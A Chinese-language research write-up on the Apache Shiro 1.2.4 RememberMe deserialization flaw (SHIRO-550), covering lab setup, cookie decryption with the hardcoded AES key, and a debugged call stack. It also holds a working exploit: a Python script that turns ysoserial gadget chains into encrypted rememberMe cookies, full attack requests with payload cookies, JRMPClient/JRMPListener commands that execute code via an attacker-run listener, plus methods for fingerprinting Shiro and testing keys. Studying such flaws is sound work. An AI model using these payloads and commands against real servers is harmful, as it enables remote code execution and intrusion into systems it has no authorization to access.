参考:
- http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/
- https://paper.seebug.org/shiro-rememberme-1-2-4/
- https://github.com/jas502n/Shiro_Xray
- https://www.cnblogs.com/yif0118/p/11516303.html
- https://github.com/jas502n/SHIRO-550
- 一次Shiro反序列化引起的域控沦陷
- tomcat结合shiro无文件webshell的技术研究以及检测方法
- https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip
- https://github.com/wyzxxz/shiro_rce/blob/5baae4cb10fc6092b20b5d6aed836f21b4c866e9/README.md
- https://github.com/HexChristmas/Shiro_exploit
- https://issues.apache.org/jira/browse/SHIRO-550
- https://blog.orange.tw/2018/03/
- Shiro-1.2.4-RememberMe 反序列化踩坑深入分析
- 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考
- Shiro的带回显gadget
- 方便的shiro反序列化各个gadget测试环境
环境搭建
git clone https://github.com/apache/shiro.git
# wget https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
mvn package -D maven.skip.test=true
这里有个坑:
需要在C:\Users\Administrator.m2
目录下新建一个文件:
~/.m2/toolchains.xml
内容是:
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
</configuration>
</toolchain>
发现这样不对,后来参考这篇文章:
https://blog.csdn.net/mark_tech/article/details/47953859
才知道在C:\Users\Administrator.m2 目录下的toolchains.xml文件没有发挥作用,而需要在MAVEN_HOME下新建
D:\软件\apache-maven-3.6.3\conf\toolchains.xml
IDEA中如果不能编译可以修改settings:
注意如果settings中设置了settings文件未用户自定义的文件,则在进行maven下载时会使用这个配置文件中的代理,
这个优先级高于settings的maven代理:
漏洞
Shiro反序列化的要点:
rememberMe cookie
CookieRememberMeManager.java
Base64
AES
加密密钥硬编码
Java serialization
部署shirp然后启动tomcat之后,进入这个界面:
输入用户名密码并勾选Remember Me
选项。
勾选之后的请求表单中多了一个参数:rememberMe=on
返回编码之后的Cookie:
内容为:
fHRZHk567IETm4F1HS8p+xD8B9BL8N9ZPqkoqaj6z3YDN9JqY4w2CCHaMu/FRcmtvrsMXOaSF/DNw44FWY2RD98DU+XkPpZ4twE/f8WhTeVPqZH9Qy/aD30Ck+7n6t3vrtsD+AaWHJ96JePTEHeEUBpcA/8M1YRWt3lunE50qbRHAPJW57t5I9WuaLK5ViEJhWwgE3jGcUOtcSnwb5IdNsWowe6YGf2MR9lCoV1OwFYzfEp/DFu1QjrXAmCpyaiWEpR6/3b5G2cBlRjW7xIBQvSx8/hDQ1qJmx9pDwtqgkZKdsfRbTlCqnuEQYjGSfxZXjxVwQrSzUETzUXZPDG3fAfl6xzOGtc6/gPyyNkqGlvPugv0ZdqN+JmsgxCsoHT5gsrIqzNRxSwX7k9Ztg+BSd1ANdSwEOzn+TC4kNGbrl2RwHCgW1Fon4ec4CbLFZNlYVZq1cGlv6APdR84+GuBpmeeHU9ipuCHvNPvkIpx5/kYdLBvc7JiJ3jmgiV1lE2S
没有发现有意义的字符串,说明应该还是被加密的状态。
找到其父类:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
使用以下python脚本解析加密的RememberMe字符串:
from Crypto.Cipher import AES
import base64
import sys
str = "fHRZHk567IETm4F1HS8p+xD8B9BL8N9ZPqkoqaj6z3YDN9JqY4w2CCHaMu/FRcmtvrsMXOaSF/DNw44FWY2RD98DU+XkPpZ4twE/f8WhTeVPqZH9Qy/aD30Ck+7n6t3vrtsD+AaWHJ96JePTEHeEUBpcA/8M1YRWt3lunE50qbRHAPJW57t5I9WuaLK5ViEJhWwgE3jGcUOtcSnwb5IdNsWowe6YGf2MR9lCoV1OwFYzfEp/DFu1QjrXAmCpyaiWEpR6/3b5G2cBlRjW7xIBQvSx8/hDQ1qJmx9pDwtqgkZKdsfRbTlCqnuEQYjGSfxZXjxVwQrSzUETzUXZPDG3fAfl6xzOGtc6/gPyyNkqGlvPugv0ZdqN+JmsgxCsoHT5gsrIqzNRxSwX7k9Ztg+BSd1ANdSwEOzn+TC4kNGbrl2RwHCgW1Fon4ec4CbLFZNlYVZq1cGlv6APdR84+GuBpmeeHU9ipuCHvNPvkIpx5/kYdLBvc7JiJ3jmgiV1lE2S"
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(base64.b64decode(str))
print(remember_bin)
>>> b'\xcdvz\x82\xc4X\xa1\x1fH\x0fTt\x02\x0ct\x01\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xpsr\x00\x17java.util.LinkedHashMap4\xc0N\\\x10l\xc0\xfb\x02\x00\x01Z\x00\x0baccessOrderxr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\x0cw\x08\x00\x00\x00\x10\x00\x00\x00\x01t\x00\x08iniRealmsr\x00\x17java.util.LinkedHashSet\xd8l\xd7Z\x95\xdd*\x1e\x02\x00\x00xr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x10?@\x00\x00\x00\x00\x00\x01t\x00\ndarkhelmetxx\x00w\x01\x01q\x00~\x00\x05x\n\n\n\n\n\n\n\n\n\n'
with open("/tmp/decrypt.bin", 'wb+') as fpw:
... fpw.write(remember_bin)
通过xxd查看发现第二行的数据是aced 0005
,即Java序列化对象的魔术头。
漏洞调试
将shiro部署到tomcat,然后调试。
在web\src\main\java\org\apache\shiro\web\mgt\CookieRememberMeManager.java以及它的父类
core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java的构造方法下断点。
发现
发现启动的时候会初始化key,
登录过程(生成序列化数据):
根据encrypt方法:
再跟进core\src\main\java\org\apache\shiro\crypto\JcaCipherService#encrypt(byte[] plaintext, byte[] key)
这里将用户名root
序列化成字节。
总之应该是一个AES加密的过程。
最后完成的加密过程的代码:
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
command_list = ['/usr/lib/jvm/java-8-oracle/bin/java', '-jar', '/home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command]
command_list2 = ['/usr/lib/jvm/java-8-oracle/bin/java', '-jar', '/home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'URLDNS', command]
popen = subprocess.Popen(command_list2, stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("/tmp/payload.cookie")
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
到时候
cat /tmp/payload.cookie
即可查看反序列化的数据。
反序列化过程
将Cookie的其他字段删除,只留下刚才生成的payload,发送以下请求:
POST /shiro/index.jsp HTTP/1.1
Host: cqq.com:8088
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe=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
Connection: close
在CookieRememberMeManager类的getRememberedSerializedIdentity()方法下断点进行调试。
跟进到这里:
core\src\main\java\org\apache\shiro\io\DefaultSerializer#deserialize(byte[] serialized)
后面就是常规的Java原生反序列化流程了。
跟进调试,其调用栈为:
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)
doFilter:207, ApplicationFilterChain (org.apache.catalina.core)
invoke:212, StandardWrapperValve (org.apache.catalina.core)
invoke:106, StandardContextValve (org.apache.catalina.core)
invoke:502, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:141, StandardHostValve (org.apache.catalina.core)
invoke:79, ErrorReportValve (org.apache.catalina.valves)
invoke:616, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
service:528, CoyoteAdapter (org.apache.catalina.connector)
process:1100, AbstractHttp11Processor (org.apache.coyote.http11)
process:687, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:1520, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1476, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
使用URLDNS进行测试:
77@ubuntu129:~/repos$ python3 shiro_payload_gen.py "http://shiro.c014489376af1f8a375c.d.zhack.ca"
77@ubuntu129:~/repos$ vi shiro_payload_gen.py
77@ubuntu129:~/repos$ cat /tmp/payload.cookie
rememberMe=J1ecCrB8RS65eIPQFvsQ3aX0u+WXJWmoJESF2+zpFk99OzE5ljbSImDKnnwhpe5CuUDlRzb0xQS4OrE0sNi6tPy6lHUIMttsphlXI7RYuq2PSUPZQGov2S9cTRyFdut5G9ov0HPfZ87VESkZ976fJRe9lkUW+517Geq3lMdG8bJFEJUTNw3dxvrtHcNbx6QVkqjzIPNevOwyiqBcFTyCIBw1aPrd+ApXep7o4GyjpYmzx0ujcvSqFCcbN3YP0qHwd1G+6uEmLK7W6tWKrTozNEIEp0TZzNWtqg4lV44dF9FZOR8FQ5BEomcrnVpI5RiTRhvSul8OTdIEFhxm5uVchg4m5MqhGy2/QTdc6NIrRPZlb5DSTwXs7EZHrHDsoV6/M1laCDhxPWtt/Y+Ik7S8W/8kfG/snSHpTrLgc57aCIs/39i97s2BWkfNTITyVJSJkoWJCsyKiV090p7NG2OqyQ==
将依赖放到classpath,如果是将shiro放到tomcat里的,则可以放到tomcat-8.0.38\webapps\shiro\WEB-INF\lib
里
commons-collections-3.2.1.jar
使用JRMP的方式:
先使用
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient 192.168.85.129:12345
生成payload,然后加密生成rememberMe的值,让Burp发起HTTP请求,同时执行以下命令进行JRMP监听。
GET /shiro/ HTTP/1.1
Host: cqq.com:8088
Connection: close
Cookie: rememberMe=dQIY9WUaRhS5UQAZLt4QhMBQXbBgXXcxzXaquc2+dLM8kPAnnyUwFJH4KedA1cS7uhKCKxkRUgxna0lvxbXaY/rpbz41moQYGxIfkz8dlB849g5j1jrXSKNtDId5Xif4mNmWVZiaI8+p4gU9sGnKtlSNP0iyTd4XN7a+Jvwb/ZQZVXg2bu2HGQIo/y3ShQHj318V1zrYRQLP8x/cB5li+cB2gUCvw0dRCQsKXPo2Plwm2fpOESasJbeg6FDyqVMlha52Kvpj6yFKEmZmbuy0D4Mqz9c6wIu6OgVk88J/WPhUAgneJ9z+i4ThBPQKeKLAu1y27nlvJyS0hwub/wwE9OLMbD1lqM1z89628OjFNdKNvvD8jIiCOrmk066BOgWmNviSO5sP5R4US5jDlt/5yg==
注意请求的url一定要是可以触发Shiro反序列化的。
/home/77/repos/jdk1.7.0_80/bin/java -cp /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 calc
但是好像这种方式只能触发一次。
附录
使用CommonsCollections2、CommonsCollections4报错:
Unable to load clazz named [org.apache.commons.collections4.comparators.TransformingComparator]
使用CommonsCollections3、CommonsCollections5报错:
Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]
如何判断网站使用了shiro
Shiro反序列化漏洞主要存在Java开发的网站程序中。当你在测试一个系统时,如果当前系统使用Java开发
则可能采用Shiro框架进行的认证或权限控制。
判断方法:
在请求中加上这个请求头:
Cookie: rememberMe=whatever
发现响应也返回了rememberMe的Cookie
而使用其他的字段时并不返回。
如何判断key是否正确
参考:
org\apache\shiro\mgt\AbstractRememberMeManager#getRememberedPrincipals
部分调用栈:
getRememberedPrincipals:398, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
398行的代码执行错误,进入401行异常捕获中,即进入rememberedPrincipal失败的逻辑:
removeFrom:355, SimpleCookie (org.apache.shiro.web.servlet)
forgetIdentity:288, CookieRememberMeManager (org.apache.shiro.web.mgt)
forgetIdentity:277, CookieRememberMeManager (org.apache.shiro.web.mgt)
onRememberedPrincipalFailure:460, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:401, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
贴一下跟进的调用步骤:
看到最后一张图应该就清晰了,实实在在地知道这个rememberMe=deleteMe
怎么来的了。
如何判断是否存在漏洞
JRMPClient:
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient shiro.401ef753d7c3ee3042a5.d.zhack.ca
URLDNS:
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS http://shiro2.401ef753d7c3ee3042a5.d.zhack.ca
要执行命令的话在可控服务器上监听JRMPListener即可:
/home/77/repos/jdk1.7.0_80/bin/java -cp /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 calc
tomcat结合shiro无文件webshell的技术研究
shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以
回显利用工具
为了避免不能出网的问题,
https://github.com/potats0/shiroPoc
git clone https://github.com/potats0/shiroPoc
cd shiroPoc
mvn package
生成payload:
$ java -jar target/shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XraySysProp
_____ _ _ ______ _ _______ _
/ ____| | | (_) | ____| | | |__ __| | |
| (___ | |__ _ _ __ ___ | |__ ___ | |__ ___ | | ___ ___ | | ___
\___ \ | '_ \ | | | '__| / _ \ | __| / __| | '_ \ / _ \ | | / _ \ / _ \ | | / __|
____) | | | | | | | | | | (_) | | |____ | (__ | | | | | (_) | | | | (_) | | (_) | | | \__ \
|_____/ |_| |_| |_| |_| \___/ |______| \___| |_| |_| \___/ |_| \___/ \___/ |_| |___/
Powered by UnicodeSec
Version 0.0.1
该攻击类型用来查看服务器的System Properties
Key: kPH+bIxk5D2deZiIxcaaaA==
Gadget: CommonsCollections2
Exploit Type: XraySysProp
payload length: 6976
请将下面的rememberMe复制到cookies中, 如果需要执行命令,请添加如下http头。建议删除http中ua等请求头以减小http header的大小,否则容易报400错误
cmd: command
rememberMe=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